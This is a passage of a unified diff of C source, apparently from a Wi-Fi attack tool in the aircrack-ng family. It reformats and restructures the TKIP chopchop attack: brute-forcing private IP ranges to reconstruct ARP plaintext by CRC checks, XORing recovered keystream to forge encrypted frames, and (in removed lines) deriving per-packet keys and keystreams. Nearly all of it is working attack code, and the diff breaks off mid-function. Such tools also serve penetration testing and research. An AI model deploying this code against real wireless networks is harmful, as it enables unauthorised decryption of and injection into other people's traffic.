-                    psip[2] = j;
-                    psip[3] = k;
-
-                    pdip[0] = 10;
-                    pdip[1] = 0;
-                    pdip[2] = j;
-                    pdip[3] = l;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-
-        printf("Checking 172.16.y.z\n");
-        /* check 172.16-31.j.1-254 */
-        for(j=1; j<255; j++)
-        {
-            for(k=1; k<255; k++)
-            {
-                for(l=1; l<255; l++)
-                {
-                    psip[0] = 172;
-                    psip[1] = 16;
-                    psip[2] = j;
-                    psip[3] = k;
-
-                    pdip[0] = 172;
-                    pdip[1] = 16;
-                    pdip[2] = j;
-                    pdip[3] = l;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-    }
+	*length += 8;
 
-    if(caplen-z-8 - clearlen == 35)
-    {
-        printf("Checking 192.168.x.y\n");
-        /* check 192.168.i.1-254 */
-        for(i=0; i<256; i++)
-        {
-            for(j=1; j<255; j++)
-            {
-                psip[0] = 192;
-                psip[1] = 168;
-                psip[2] = i;
-                psip[3] = j;
-
-                pdip[0] = 192;
-                pdip[1] = 168;
-                pdip[2] = i;
-
-                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                    return 0;
-            }
-        }
-
-        printf("Checking 10.0.y.z\n");
-        /* check 10.i.j.1-254 */
-        for(i=0; i<256; i++)
-        {
-            for(j=0; j<256; j++)
-            {
-                for(k=1; k<255; k++)
-                {
-                    psip[0] = 10;
-                    psip[1] = i;
-                    psip[2] = j;
-                    psip[3] = k;
-
-                    pdip[0] = 10;
-                    pdip[1] = i;
-                    pdip[2] = j;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-
-        printf("Checking 172.16-31.y.z\n");
-        /* check 172.16-31.j.1-254 */
-        for(i=16; i<32; i++)
-        {
-            for(j=0; j<256; j++)
-            {
-                for(k=1; k<255; k++)
-                {
-                    psip[0] = 172;
-                    psip[1] = i;
-                    psip[2] = j;
-                    psip[3] = k;
-
-                    pdip[0] = 172;
-                    pdip[1] = i;
-                    pdip[2] = j;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-    }
+	memcpy(buf, packet + 26, (*length) - 26);
+	memcpy(packet + 26 + 8, buf, (*length) - 26);
 
-    if(caplen-z-8 - clearlen == 34)
-    {
-        printf("Checking 192.168.x.y\n");
-        /* check 192.168.i.1-254 */
-        for(i=0; i<256; i++)
-        {
-            for(j=1; j<255; j++)
-            {
-                psip[0] = 192;
-                psip[1] = 168;
-                psip[2] = i;
-                psip[3] = j;
-
-                pdip[0] = 192;
-                pdip[1] = 168;
-
-                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                    return 0;
-            }
-        }
-
-        printf("Checking 10.x.y.z\n");
-        /* check 10.i.j.1-254 */
-        for(i=0; i<256; i++)
-        {
-            for(j=0; j<256; j++)
-            {
-                for(k=1; k<255; k++)
-                {
-                    psip[0] = 10;
-                    psip[1] = i;
-                    psip[2] = j;
-                    psip[3] = k;
-
-                    pdip[0] = 10;
-                    pdip[1] = i;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-
-        printf("Checking 172.16-31.y.z\n");
-        /* check 172.16-31.j.1-254 */
-        for(i=16; i<32; i++)
-        {
-            for(j=0; j<256; j++)
-            {
-                for(k=1; k<255; k++)
-                {
-                    psip[0] = 172;
-                    psip[1] = i;
-                    psip[2] = j;
-                    psip[3] = k;
-
-                    pdip[0] = 172;
-                    pdip[1] = i;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-    }
+	if (toDS)
+		memcpy(packet + 26,
+			   opt.chopped_to_prga,
+			   8); // set IV&extIV for a toDS frame
+	else
+		memcpy(packet + 26,
+			   opt.chopped_from_prga,
+			   8); // set IV&extIV for a fromDS frame
 
-    if(caplen-z-8 - clearlen <= 33 && caplen-z-8 - clearlen >= 26)
-    {
-        printf("Checking 192.168.x.y\n");
-        /* check 192.168.i.1-254 */
-        if( (srcbuf[z+8+33]^chopped[z+8+33]) == 168)
-        {
-            for(i=0; i<256; i++)
-            {
-                for(j=1; j<255; j++)
-                {
-                    psip[0] = 192;
-                    psip[1] = 168;
-                    psip[2] = i;
-                    psip[3] = j;
-
-                    pdip[0] = 192;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-
-        if( (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32)
-        {
-            printf("Checking 172.16-31.y.z\n");
-            /* check 172.16-31.j.1-254 */
-            for(i=16; i<32; i++)
-            {
-                for(j=0; j<256; j++)
-                {
-                    for(k=1; k<255; k++)
-                    {
-                        psip[0] = 172;
-                        psip[1] = i;
-                        psip[2] = j;
-                        psip[3] = k;
-
-                        pdip[0] = 172;
-
-                        if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                            return 0;
-                    }
-                }
-            }
-        }
-
-        printf("Checking 10.x.y.z\n");
-        /* check 10.i.j.1-254 */
-        for(i=0; i<256; i++)
-        {
-            for(j=0; j<256; j++)
-            {
-                for(k=1; k<255; k++)
-                {
-                    psip[0] = 10;
-                    psip[1] = i;
-                    psip[2] = j;
-                    psip[3] = k;
-
-                    pdip[0] = 10;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-    }
+	(*length) += 8;
 
-    if(caplen-z-8 - clearlen == 25)
-    {
-        printf("Checking 192.168.x.y\n");
-        /* check 192.168.i.1-254 */
-        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168)
-        {
-            for(i=0; i<256; i++)
-            {
-                psip[0] = 192;
-                psip[1] = 168;
-                psip[2] = i;
-
-                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                    return 0;
-            }
-        }
-
-        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32)
-        {
-            printf("Checking 172.16-31.y.z\n");
-            /* check 172.16-31.j.1-254 */
-            for(i=16; i<32; i++)
-            {
-                for(j=0; j<256; j++)
-                {
-                    psip[0] = 172;
-                    psip[1] = i;
-                    psip[2] = j;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-
-        printf("Checking 10.x.y.z\n");
-        /* check 10.i.j.1-254 */
-        for(i=0; i<256; i++)
-        {
-            for(j=0; j<256; j++)
-            {
-                psip[0] = 10;
-                psip[1] = i;
-                psip[2] = j;
-
-                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                    return 0;
-            }
-        }
-    }
+	add_icv(packet, *length, 26 + 8);
 
-    if(caplen-z-8 - clearlen == 24)
-    {
-        printf("Checking 192.168.x.y\n");
-        /* check 192.168.i.1-254 */
-        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168)
-        {
-            psip[0] = 192;
-            psip[1] = 168;
-
-            if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                return 0;
-        }
-
-        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32)
-        {
-            printf("Checking 172.16-31.y.z\n");
-            /* check 172.16-31.j.1-254 */
-            for(i=16; i<32; i++)
-            {
-                psip[0] = 172;
-                psip[1] = i;
-
-                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                    return 0;
-            }
-        }
-
-        printf("Checking 10.x.y.z\n");
-        /* check 10.i.j.1-254 */
-        for(i=0; i<256; i++)
-        {
-            psip[0] = 10;
-            psip[1] = i;
-
-            if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                return 0;
-        }
-    }
+	(*length) += 4;
 
-    if(caplen-z-8 - clearlen <= 23)
-    {
-        printf("Checking 192.168.x.y\n");
-        /* check 192.168.i.1-254 */
-        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168)
-        {
-            psip[0] = 192;
-
-            if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                return 0;
-        }
-
-        if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32)
-        {
-            printf("Checking 172.16-31.y.z\n");
-            /* check 172.16-31.j.1-254 */
-            psip[0] = 172;
-
-            if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                return 0;
-        }
-
-        printf("Checking 10.x.y.z\n");
-        /* check 10.i.j.1-254 */
-        psip[0] = 10;
+	if (toDS)
+	{
+		if (opt.chopped_to_prga_len - 8 < *length - 26 - 8) return 1;
 
-        if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-            return 0;
-    }
+		for (i = 0; i < *length - 26 - 8; i++)
+			packet[26 + 8 + i] ^= opt.chopped_to_prga[8 + i];
+	}
+	else
+	{
+		if (opt.chopped_from_prga_len - 8 < *length - 26 - 8) return 1;
 
-    if(caplen-z-8 - clearlen <= 32)
-    {
-        for(i=0; i<256; i++)
-        {
-            for(j=1; j<255; j++)
-            {
-                psip[0] = srcbuf[z+8+32]^chopped[z+8+32];
-                psip[1] = srcbuf[z+8+33]^chopped[z+8+33];
-                psip[2] = i;
-                psip[3] = j;
-
-                if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                    return 0;
-            }
-        }
-    }
-    return 1;
+		for (i = 0; i < *length - 26 - 8; i++)
+			packet[26 + 8 + i] ^= opt.chopped_from_prga[8 + i];
+	}
+	return 0;
 }
 
-int do_attack_tkipchop( unsigned char* src_packet, int src_packet_len )
-{
-    float f, ticks[4];
-    int i, j, n, z, caplen, srcz, srclen;
-    int data_start, data_end, srcdiff, diff;
-    int guess, is_deauth_mode;
-    int nb_bad_pkt;
-    int tried_header_rec=0;
-    int tries=0;
-    int keystream_len=0;
-    int settle=0;
-
-    unsigned char b1 = 0xAA;
-    unsigned char b2 = 0xAA;
-
-    unsigned char mic[8];
-    unsigned char smac[6], dmac[6], bssid[6];
-    unsigned char rc4key[16], keystream[4096];
-
-    FILE *f_cap_out;
-    long nb_pkt_read;
-    unsigned long crc_mask;
-    unsigned char *chopped;
-
-    unsigned char packet[4096];
-
-    time_t tt;
-    struct tm *lt;
-    struct timeval tv;
-    struct timeval tv2;
-    struct timeval mic_fail;
-    struct pcap_file_header pfh_out;
-    struct pcap_pkthdr pkh;
-
-    srand( time( NULL ) );
-
-    memcpy( h80211, src_packet, src_packet_len);
-    caplen = src_packet_len;
-    if( (h80211[1] & 3) == 1)
-    {
-        h80211[1] += 1;
-
-        memcpy( bssid, srcbuf + 4, 6 );
-        memcpy( dmac, srcbuf + 16, 6 );
-        memcpy( smac, srcbuf + 10, 6 );
-
-        memcpy( srcbuf + 10, bssid, 6 );
-        memcpy( srcbuf + 4, dmac, 6 );
-        memcpy( srcbuf + 16, smac, 6 );
-//         memcpy(h80211+16, BROADCAST, 6);
-    }
-
+static int check_guess(unsigned char * srcbuf,
+					   unsigned char * chopped,
+					   int caplen,
+					   int clearlen,
+					   unsigned char * arp,
+					   unsigned char * dmac)
+{
+	int i, j, z, pos;
+
+	z = ((srcbuf[1] & 3) != 3) ? 24 : 30;
+	if ((srcbuf[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+
+	//     if(arp[22] == 192 && arp[23] == 168 && arp[24] == 178 && arp[25] ==
+	//     1)
+	//     {
+	//         printf("Source: %i.%i.%i.%i; Dest: %i.%i.%i.%i\n",
+	//                 arp[22], arp[23], arp[24], arp[25], arp[32], arp[33],
+	//                 arp[34], arp[35] );
+	//     }
+
+	pos = caplen - z - 8 - clearlen;
+	for (i = 0; i < clearlen; i++)
+	{
+		arp[pos + i] = srcbuf[z + 8 + pos + i] ^ chopped[z + 8 + pos + i];
+	}
+	for (j = 1; j < 3; j++)
+	{
+		arp[15] = j;
+
+		memcpy(arp + 26, ZERO, 6);
+		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
+		{
+			for (i = 0; i < pos; i++)
+			{
+				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
+			}
+			return 1;
+		}
 
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-        z+=2;
-    srcz = z;
-
-    if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) )
-        return( 1 );
-
-//     if( opt.r_smac_set == 1 )
-//     {
-//         //handle picky APs (send one valid packet before all the invalid ones)
-//         memset(packet, 0, sizeof(packet));
-//
-//         memcpy( packet, NULL_DATA, 24 );
-//         memcpy( packet +  4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
-//         memcpy( packet + 10, opt.r_smac,  6 );
-//         memcpy( packet + 16, opt.f_bssid, 6 );
-//
-//         packet[0] = 0x08; //make it a data packet
-//         packet[1] = 0x41; //set encryption and ToDS=1
-//
-//         memcpy( packet+24, h80211+z, caplen-z);
-//
-//         if( send_packet( packet, caplen-z+24 ) != 0 )
-//             return( 1 );
-//         //done sending a correct packet
-//     }
-
-    /* Special handling for spanning-tree packets */
-    if ( memcmp( h80211 +  4, SPANTREE, 6 ) == 0 ||
-        memcmp( h80211 + 16, SPANTREE, 6 ) == 0 )
-    {
-        b1 = 0x42; b2 = 0x42;
-    }
+		memcpy(arp + 26, BROADCAST, 6);
+		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
+		{
+			for (i = 0; i < pos; i++)
+			{
+				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
+			}
+			return 1;
+		}
 
-    printf( "\n" );
+		memcpy(arp + 26, dmac, 6);
+		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
+		{
+			for (i = 0; i < pos; i++)
+			{
+				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
+			}
+			return 1;
+		}
+	}
+	return 0;
+}
 
-    /* chopchop operation mode: truncate and decrypt the packet */
-    /* we assume the plaintext starts with  AA AA 03 00 00 00   */
-    /* (42 42 03 00 00 00 for spanning-tree packets)            */
+static int guess_packet(unsigned char * srcbuf,
+						unsigned char * chopped,
+						int caplen,
+						int clearlen)
+{
+	int i, j, k, l, z, len;
+	unsigned char smac[6], dmac[6], bssid[6];
+
+	unsigned char *ptr, *psmac, *psip, *pdmac, *pdip;
+	unsigned char arp[4096];
+
+	z = ((srcbuf[1] & 3) != 3) ? 24 : 30;
+	if ((srcbuf[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+
+	if (caplen - z - 8 - clearlen > 36) // too many unknown bytes
+		return 1;
+
+	printf("%i bytes still unknown\n", caplen - z - 8 - clearlen);
+
+	switch (srcbuf[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, srcbuf + 16, 6);
+			memcpy(dmac, srcbuf + 4, 6);
+			memcpy(smac, srcbuf + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, srcbuf + 4, 6);
+			memcpy(dmac, srcbuf + 16, 6);
+			memcpy(smac, srcbuf + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, srcbuf + 10, 6);
+			memcpy(dmac, srcbuf + 4, 6);
+			memcpy(smac, srcbuf + 16, 6);
+			break;
+		default:
+			memcpy(bssid, srcbuf + 10, 6);
+			memcpy(dmac, srcbuf + 16, 6);
+			memcpy(smac, srcbuf + 24, 6);
+			break;
+	}
 
-    memcpy( srcbuf, h80211, caplen );
+	ptr = arp;
+	psmac = arp + 16;
+	pdmac = arp + 26;
+	psip = arp + 22;
+	pdip = arp + 32;
+
+	len = sizeof(S_LLC_SNAP_ARP) - 1;
+	memcpy(ptr, S_LLC_SNAP_ARP, len);
+	ptr += len;
+
+	/* arp hdr */
+	len = 6;
+	memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
+	ptr += len;
+
+	/* type of arp */
+	len = 2;
+	if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0)
+		memcpy(ptr, "\x00\x01", len);
+	else
+		memcpy(ptr, "\x00\x02", len);
+	ptr += len;
+
+	/* src mac */
+	len = 6;
+	memcpy(ptr, smac, len);
+	ptr += len;
+
+	/* dmac */
+	if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0)
+	{
+		printf("ARP Reply\n");
+		memcpy(pdmac, dmac, 6);
+	}
+	else
+	{
+		printf("ARP Request\n");
+		memcpy(pdmac, ZERO, 6);
+	}
 
-    /* debug: generate the keystream */
-    if(opt.got_ptk)
-    {
-        calc_tkip_ppk( srcbuf, caplen, opt.wpa_sta.ptk+32, rc4key );
-        PCT; printf("Per Packet Key: ");
-        for(i=0; i<15; i++)
-            printf("%02X:", rc4key[i]);
-        printf("%02X\n", rc4key[15]);
-
-        memset(keystream, 0, 4096);
-
-        keystream_len = caplen - z - 8;
-        encrypt_wep(keystream, keystream_len, rc4key, 16);
-
-        PCT; printf("Keystream length: %i, Keystream:\n", keystream_len);
-        for(i=0; i<keystream_len-1; i++)
-            printf("%02X:", keystream[i]);
-        printf("%02X\n", keystream[keystream_len-1]);
-
-        memcpy(packet, srcbuf, caplen);
-        PCT; printf("Decrypt: %i\n", decrypt_wep(packet+z+8, caplen-z-8, rc4key, 16));
-        PCT; printf("Keystream 2:\n");
-        for(i=0; i<keystream_len-1; i++)
-            printf("%02X:", packet[z+8+i]^srcbuf[z+8+i]);
-        printf("%02X\n", packet[z+8+keystream_len-1]^srcbuf[z+8+keystream_len-1]);
-
-//         opt.oldkeystreamlen = keystream_len-(47-z-8);
-        opt.oldkeystreamlen = keystream_len-37;
-        for(i=0; i<opt.oldkeystreamlen; i++)
-            opt.oldkeystream[i] = keystream[keystream_len-1 - i];
+	if (caplen - z - 8 - clearlen == 36)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 1; j < 255; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 192;
+					psip[1] = 168;
+					psip[2] = i;
+					psip[3] = j;
+
+					pdip[0] = 192;
+					pdip[1] = 168;
+					pdip[2] = i;
+					pdip[3] = k;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
 
-    }
+		printf("Checking 10.0.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (j = 0; j < 256; j++)
+		{
+			for (k = 1; k < 255; k++)
+			{
+				for (l = 1; l < 255; l++)
+				{
+					psip[0] = 10;
+					psip[1] = 0;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 10;
+					pdip[1] = 0;
+					pdip[2] = j;
+					pdip[3] = l;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
 
-    /* setup the chopping buffer */
+		printf("Checking 172.16.y.z\n");
+		/* check 172.16-31.j.1-254 */
+		for (j = 1; j < 255; j++)
+		{
+			for (k = 1; k < 255; k++)
+			{
+				for (l = 1; l < 255; l++)
+				{
+					psip[0] = 172;
+					psip[1] = 16;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 172;
+					pdip[1] = 16;
+					pdip[2] = j;
+					pdip[3] = l;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
+	}
 
-    n = caplen;
+	if (caplen - z - 8 - clearlen == 35)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 1; j < 255; j++)
+			{
+				psip[0] = 192;
+				psip[1] = 168;
+				psip[2] = i;
+				psip[3] = j;
+
+				pdip[0] = 192;
+				pdip[1] = 168;
+				pdip[2] = i;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return 0;
+			}
+		}
 
-    switch( srcbuf[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, srcbuf + 16, 6 );
-            memcpy( dmac, srcbuf + 4, 6 );
-            memcpy( smac, srcbuf + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, srcbuf + 4, 6 );
-            memcpy( dmac, srcbuf + 16, 6 );
-            memcpy( smac, srcbuf + 10, 6 );
-            break;
-        case  2:
-            memcpy( bssid, srcbuf + 10, 6 );
-            memcpy( dmac, srcbuf + 4, 6 );
-            memcpy( smac, srcbuf + 16, 6 );
-            break;
-        default:
-            memcpy( bssid, srcbuf + 10, 6 );
-            memcpy( dmac, srcbuf + 16, 6 );
-            memcpy( smac, srcbuf + 24, 6 );
-            break;
-    }
+		printf("Checking 10.0.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 10;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 10;
+					pdip[1] = i;
+					pdip[2] = j;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
 
-    if( ( chopped = (unsigned char *) malloc( n ) ) == NULL )
-    {
-        perror( "malloc failed" );
-        return( 1 );
-    }
+		printf("Checking 172.16-31.y.z\n");
+		/* check 172.16-31.j.1-254 */
+		for (i = 16; i < 32; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 172;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 172;
+					pdip[1] = i;
+					pdip[2] = j;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
+	}
 
-    memset( chopped, 0, n );
+	if (caplen - z - 8 - clearlen == 34)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 1; j < 255; j++)
+			{
+				psip[0] = 192;
+				psip[1] = 168;
+				psip[2] = i;
+				psip[3] = j;
+
+				pdip[0] = 192;
+				pdip[1] = 168;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return 0;
+			}
+		}
 
-    memcpy( chopped, h80211, n);
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 10;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 10;
+					pdip[1] = i;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
 
-    data_start = 26 + 8;
-    srclen = data_end = n;
-    srcdiff = z-24;
+		printf("Checking 172.16-31.y.z\n");
+		/* check 172.16-31.j.1-254 */
+		for (i = 16; i < 32; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 172;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 172;
+					pdip[1] = i;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
+	}
 
-//     chopped[0] = 0x88;  /* QoS data frame */
-//     chopped[1] = 0x41;  /* WEP = 1, ToDS = 1 */
+	if (caplen - z - 8 - clearlen <= 33 && caplen - z - 8 - clearlen >= 26)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		if ((srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
+		{
+			for (i = 0; i < 256; i++)
+			{
+				for (j = 1; j < 255; j++)
+				{
+					psip[0] = 192;
+					psip[1] = 168;
+					psip[2] = i;
+					psip[3] = j;
+
+					pdip[0] = 192;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
 
-    chopped[24] ^= 0x01;
-    chopped[25] = 0x00;
+		if ((srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
+		{
+			printf("Checking 172.16-31.y.z\n");
+			/* check 172.16-31.j.1-254 */
+			for (i = 16; i < 32; i++)
+			{
+				for (j = 0; j < 256; j++)
+				{
+					for (k = 1; k < 255; k++)
+					{
+						psip[0] = 172;
+						psip[1] = i;
+						psip[2] = j;
+						psip[3] = k;
+
+						pdip[0] = 172;
+
+						if (check_guess(srcbuf,
+										chopped,
+										caplen,
+										clearlen,
+										arp,
+										dmac)) // got correct guess
+							return 0;
+					}
+				}
+			}
+		}
 
-//     for(i=0; i<4; i++)
-//     {
-//         chopped[24] = 0x01;
-//         if( send_packet( chopped, n ) != 0 )
-//                 return( 1 );
-//         usleep(10000);
-//     }
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 10;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 10;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
+	}
 
-    /* copy the duration */
+	if (caplen - z - 8 - clearlen == 25)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
+		{
+			for (i = 0; i < 256; i++)
+			{
+				psip[0] = 192;
+				psip[1] = 168;
+				psip[2] = i;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return 0;
+			}
+		}
 
-//     memcpy( chopped + 2, h80211 + 2, 2 );
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
+		{
+			printf("Checking 172.16-31.y.z\n");
+			/* check 172.16-31.j.1-254 */
+			for (i = 16; i < 32; i++)
+			{
+				for (j = 0; j < 256; j++)
+				{
+					psip[0] = 172;
+					psip[1] = i;
+					psip[2] = j;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return 0;
+				}
+			}
+		}
 
-    /* copy the BSSID */
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				psip[0] = 10;
+				psip[1] = i;
+				psip[2] = j;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return 0;
+			}
+		}
+	}
 
-//     switch( h80211[1] & 3 )
-//     {
-//         case  0: memcpy( chopped + 4, h80211 + 16, 6 ); break;
-//         case  1: memcpy( chopped + 4, h80211 +  4, 6 ); break;
-//         case  2: memcpy( chopped + 4, h80211 + 10, 6 ); break;
-//         default: memcpy( chopped + 4, h80211 + 10, 6 ); break;
-//     }
+	if (caplen - z - 8 - clearlen == 24)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
+		{
+			psip[0] = 192;
+			psip[1] = 168;
+
+			if (check_guess(srcbuf,
+							chopped,
+							caplen,
+							clearlen,
+							arp,
+							dmac)) // got correct guess
+				return 0;
+		}
 
-    /* copy the WEP IV */
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
+		{
+			printf("Checking 172.16-31.y.z\n");
